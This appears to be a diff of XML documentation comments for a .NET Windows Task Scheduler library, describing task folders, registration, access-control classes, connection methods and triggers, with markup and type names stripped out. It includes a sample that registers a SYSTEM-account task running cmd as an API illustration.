filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type 